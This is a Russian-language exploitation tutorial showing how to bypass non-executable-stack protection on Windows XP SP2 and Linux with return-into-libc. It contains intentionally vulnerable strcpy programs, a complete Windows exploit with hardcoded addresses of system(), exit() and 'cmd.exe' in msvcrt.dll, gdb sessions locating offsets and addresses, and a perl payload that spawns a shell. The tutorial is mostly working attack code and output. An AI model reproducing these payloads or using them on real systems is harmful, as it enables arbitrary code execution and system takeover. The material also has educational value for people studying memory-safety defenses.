Всем известно, что техника переполнения заключается в следующем: запихивание в буфер зловредного кода и последующая подмена адреса возврата на функцию. Т.е. после удачного переполнения, этот самый зловредный код будет исполнен. Также всем известно, что зловредный код в момент переполнения находится в стеке, как и все данные. Все бы хорошо, да в новом дополнении к системе Windows XP встроена защита от исполнения кода в стеке. Несомненно, это довольно большой плюс к системам корпорации Microsoft. Эта защита полностью искоренит проблему с переполнениями буфера, основанными на исполнении кода посредством стека. Но не уберет ее вовсе!
by Dark Eagle
1. Обход защиты в WinXP SP2 от исполнения кода в стеке.
2. Обход защиты в Linux от исполнения кода в стеке.
3. Заключение.
[1]. Обход защиты в WinXP SP2 от исполнения кода в стеке.
Я думаю, многие из вас знают, что такое переполнение буфера. Надеюсь, многие читали про переполнение в Win32 системах. Хотя в принципе, оно мало чем отличается от переполнения в *nix системах. Разве что шеллкодом, да и проблемами с адресами.
Всем известно, что техника переполнения заключается в следующем: запихивание в буфер зловредного кода и последующая подмена адреса возврата на функцию. Т.е. после удачного переполнения, этот самый зловредный код будет исполнен. Также всем известно, что зловредный код в момент переполнения находится в стеке, как и все данные. Все бы хорошо, да в новом дополнении к системе Windows XP встроена защита от исполнения кода в стеке. Несомненно, это довольно большой плюс к системам корпорации Microsoft. Эта защита полностью искоренит проблему с переполнениями буфера, основанными на исполнении кода посредством стека. Но не уберет ее вовсе!
От слов предлагаю перейти к практике.
Сегодня нам понадобятся: отладчик OllyDbg 1.10, дизассемблер Win32Dasm, компилятор C/C++ (я использовал Borland C++ 5.05), Блокнот.
В начале я бы хотел рассмотреть пример уязвимой программы на переполнение буфера и пример эксплоита к ней, основанном на исполнении кода в стеке. Рассмотрим пример.
[----------------------vuln1.cpp-----------------------------] #include <stdio.h> #include <string.h> #include <windows.h> int main(int argc, char **argv) { char buf[30]; strcpy(buf,argv[1]); printf("argv = %s\n\n", buf); return 0; } [------------------------vuln1.cpp-----------------------------]Из вышеприведенного примера видно, что данная программа уязвима к переполнению буфера. Теперь откомпилируйте ее.
Загрузите уязвимую программу в отладчик. И введите длинный аргумент.
Как видно из рисунка, мы переполнили буфер. И значение регистра EIP изменилось на 41414141. Дело в том, что Microsoft встроило защиту от исполнения кода в стеке. Поэтому если мы сейчас, скажем, напишем эксплоит, который будет помещать код в стек, а далее перезаписывать EIP на адрес зловредного кода, то ничего не выйдет!
Пример стандартного эксплоита [---------------------------s_exp.cpp-----------------------------] #include <stdio.h> #include <string.h> #include <windows.h> char shellcode[] = "shellc0d3"; int main() { char buf[200]; char exec[600]; char *p; int i; p = buf; memset(buf, 0x00, 200); memset(buf, 0x41, 40); memcpy(buf+40, &shellcode, sizeof(shellcode)); for ( i = 32; i <= 36; i +=4 ) *(long*)(p+i) = 0x7C82385D; // call esp [kernel32.dll] sprintf(exec, "./vuln %s", buf); system(exec); } [--------------------------s_exp.cpp------------------]Обход же данной защиты осуществляется путем не запихивания кода в стек, шеллкод мы вообще не будем писать. Все что нам нужно будет, так это адреса некоторых функций системы WinXP SP2. Забегу вперед и скажу, что нам понадобятся адреса командных функций. Таких как system(); WinExec(); и т.д. Едем дальше.
Я думаю, многие из вас знают, что адреса функций, некоторых аргументов и т.д. расположены в системных библиотеках. В нашем случае эти адреса расположены в msvcrt.dll. Для примера эксплуатации я буду использовать функцию system(); Конечно так же можно использовать и функцию WinExec(); Функции system(); в качестве единственного параметра мы передадим "cmd.exe" для того, чтобы запустить командную строку.
Давайте выясним, как же нам найти эти самые адреса? Ну, во-первых, их естественно нужно искать в библиотеке. В нашем случае это msvcrt.dll. Искать адреса будет через отладчик Win32Dasm. Запустите его и укажите в качестве открываемого файла нашу библиотеку.
В строке отыщите адрес функции system().
Итак, адрес system у нас имеется, он равен 0x77C193C7.
Теперь таким же способом отыщите адрес функции exit(). В моем случае адрес exit() равен 0x77C29E7E.
Дело за малым. Осталось только найти адрес аргумента для system(); В нашем случае - это "cmd.exe". Для этого откроем нашу библиотеку в OllyDbg и поищем там.
Я нашел "cmd.exe" по адресу 0x77C01F94.
Наше дело теперь сводится к правильному расположению этих данных в буфере и последующей отсылке этих данных нашей уязвимой программе.
Наши данные будут выглядеть примерно так:
[DATA-TO-OVERFLOW-BUFFER][ADDR-OF-SYSTEM][ADDR-OF-EXIT][ADDR-OF-ARG]
Скажу лишь то, что данные, которые переполнят буфер, должны быть минимальны. То есть нужно найти значение, при котором переполнение происходит, но не перезаписывает EIP! А если добавить 4 байта, то значение EIP должно перезаписаться. В нашем случае наш буфера равен 30 байт. Тогда для того чтобы перезаписать EIP нам нужно 40 байт, вычитаем 4 байта и получаем 36. Едем далее… Ах да, забыл сказать… Единственная проблема у нас возникает в том, что мы используем адрес system(), который расположен в библиотеке msvcrt.dll, но если эта библиотека не загружена в уязвимой программе, то все наши старания катятся к черту. Но тут так же есть выход! Можно использовать альтернативную system(); функцию WinAPI WinExec(); Эта функция расположена в библиотеке kernel32.dll, а эта библиотека, как я думаю, вы знаете, всегда подгружена в исполняемой программе. Ну, с WinExec() я думаю, вы и сами разберетесь. В данный момент моя задача показать пример обхода, посредством другой техники, нежели переполнение с исполнением кода в стеке.
Поэтому давайте добавим в нашу уязвимую программу функцию подгрузки библиотеки msvcrt.dll
[---------------------------vuln1.cpp-----------------------] #include <stdio.h> #include <string.h> #include <windows.h> int main(int argc, char **argv) { char buf[30]; LoadLibrary("msvcrt.dll"); strcpy(buf,argv[1]); printf("argv = %s\n\n", buf); return 0; } [------------------------vuln1.cpp-------------------------]Итак, все данные, которые нам нужны, у нас уже имеются.… Осталось написать эксплоит. В качестве первого примера постараюсь вам показать все наглядно посредством передачи одного целого параметра в командную строку!
Пример:
[--------------------------exp.cpp-------------------------] #include <stdio.h> #include <string.h> #include <windows.h> int main() { // 0x77C193C7; // our system() addr... // 0x77C29E7E; // our exit() addr... // 0x77C01F94; // cmd.exe addr... char exec[1000]="vuln1.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xC7\x93\xC1" "\x77\x7E\x9E\xC2\x77\x94\x1F\xC0\x77"; system(exec); return 0; } [---------------------exp.cpp---------------------]
Как видно из рисунка, все работает замечательно! На этом с Win32 прощаемся и переходим к Linux.
[2]. Обход защиты в Linux от исполнения кода в стеке.
В Linux метод обхода защиты от исполнения кода в стеке схож с методами в Win32. Я постараюсь, как можно внятнее рассказать технику в Linux. Итак, приступим.
Для начала давайте разберемся, что нам нужно для правильной эксплуатации.
Как и в Win32 нам понадобится адрес функции system, адрес оболочки "/bin/sh" или какой-либо другой системной оболочки.
Рассмотрим пример уязвимой программы:
[------------------------u_vuln.c--------------] #include <stdio.h> int main(int argc, char* argv[]) { char buf[20]; strcpy(buf, argv[1]); return 0; } [-------------------u_vuln.c-------------]Вышеприведенный пример уязвим к переполнению буфера. Предположим, что наша система защищена отличным ядерным модулем от dev0id'a. Его модуль не даст нам исполнить код в стеке. Поэтому действуем, так же как и в Win32.
Для начала хочу показать схему, по которой будут располагаться наши данные.
_______________________ ______________ ______________ ________ |DATA-TO-OVERFLOW-BUFFER| system() | return addr | argv[] | |________|______________|______________|______________|________|Данные, которые будут переполнять буфер нужно подобрать путем перебора в gdb, пока не изменится значение EIP на входящие данные (как в Win32). Я нашел это значение - 44 байт.
[root@localhost RetLibc]# gdb vuln .... (gdb) r `perl -e 'print "A"x45'` Starting program: /home/RetLibc/vuln `perl -e 'print "A"x45'` Program received signal SIGSEGV, Segmentation fault. 0x40030041 in ?? () from /lib/tls/libc.so.6 ^^ (gdb) r `perl -e 'print "A"x44'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/RetLibc/vuln `perl -e 'print "A"x44'` Program received signal SIGSEGV, Segmentation fault. 0x4003f900 in __libc_start_main () from /lib/tls/libc.so.6 (gdb)Едем далее... Теперь наша задача найти адрес system(). Для этого напишем простенький пример.
[-------------------system.c-----------------] int main() { system(); } [----------------system.c--------------------]Так... Компилируем.
[root@localhost RetLibc]# gcc system.c -o system [root@localhost RetLibc]# gdb system .... (gdb) break main Breakpoint 1 at 0x8048362 (gdb) r Starting program: /home/RetLibc/system Breakpoint 1, 0x08048362 in main () (gdb) p system $1 = {<text variable, no debug info>} 0x40068f40 <system> (gdb)Итак, адрес system() найден. Он равен 0x40068f40.
Как можно заметить далее идет "return addr", это адрес возврата. В нашем случае его можно указать любым. Так как, после удачного эксплуатирования мы получим шелл, а после выхода из шелла, уязвимая программа в случае некорректного адреса возврата из функции может упасть в "core", но нам по сути никакого дела до этого нет. Пусть она падает... Но если же вы хотите, чтобы программа не упала, укажите корректный адрес.
И так, в нашем случае адрес возврата укажем как 0x41414141.
Едем далее... Теперь наша задача состоит в том, чтобы указать адрес аргумента... В нашем случае аргументом может быть "/bin/sh" или что-либо другое.
Где же все-таки найти этот адрес??? Я покажу пример с использованием "переменных окружения"... Итак, для начала напишем программу, которая будет выгребать адрес какой-либо переменной окружения.
[---------------------@env.c-----------------------] #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char *addr_ptr; addr_ptr = getenv(argv[1]); printf("%s @ %p\n", argv[1], addr_ptr); return 0; } [------------------@env.c-------------------------]
[root@localhost RetLibc]# export SH="/bin/sh" [root@localhost RetLibc]# gcc @env.c -o env @env.c: In function `main': @env.c:7: warning: assignment makes pointer from integer without a cast [root@localhost RetLibc]# ./env SH SH @ 0xbffffe60 [root@localhost RetLibc]#Такс... Вот и все. Мы нашли адрес 0xbffffe60. По этому адресу располагается оболочка системы. Дело за малым. Остается только все наши данные запихать в уязвимую программу....
Схема приобрела вид.
___________________ ____________ ____________ ___________ |AAAAAAAAAAA....(44)| 0x40068f40 | 0x41414141 | 0xbffffe39| |___________________|____________|____________|___________|Итак... Введем все наше добро в строку...
[root@localhost RetLibc]# ./vuln `perl -e 'print "A"x44 . "\x40\x8f\x06\x40\x41\x41\x41\x41\x60\xfe\xff\xbf"'` sh-2.05b$ exit Segmentation fault (core dumped) [root@localhost RetLibc]#Как видно метод работает отлично... Вот впринципе и все....
[3]. Заключение.
Вышесказанного материала вполне хватит для начала. Из документаций я бы хотел привести следующее…
Доки:
1.Kids Buffer Overflow Paper by Dark Eagle [ SecurityLab ]
2.Advanced return-into-lib(c) exploits (PaX case study) by nergal [ Phrack #58 ]
P.S. все примеры кодов можно скачать отсюда Unl0ck.Void.Ru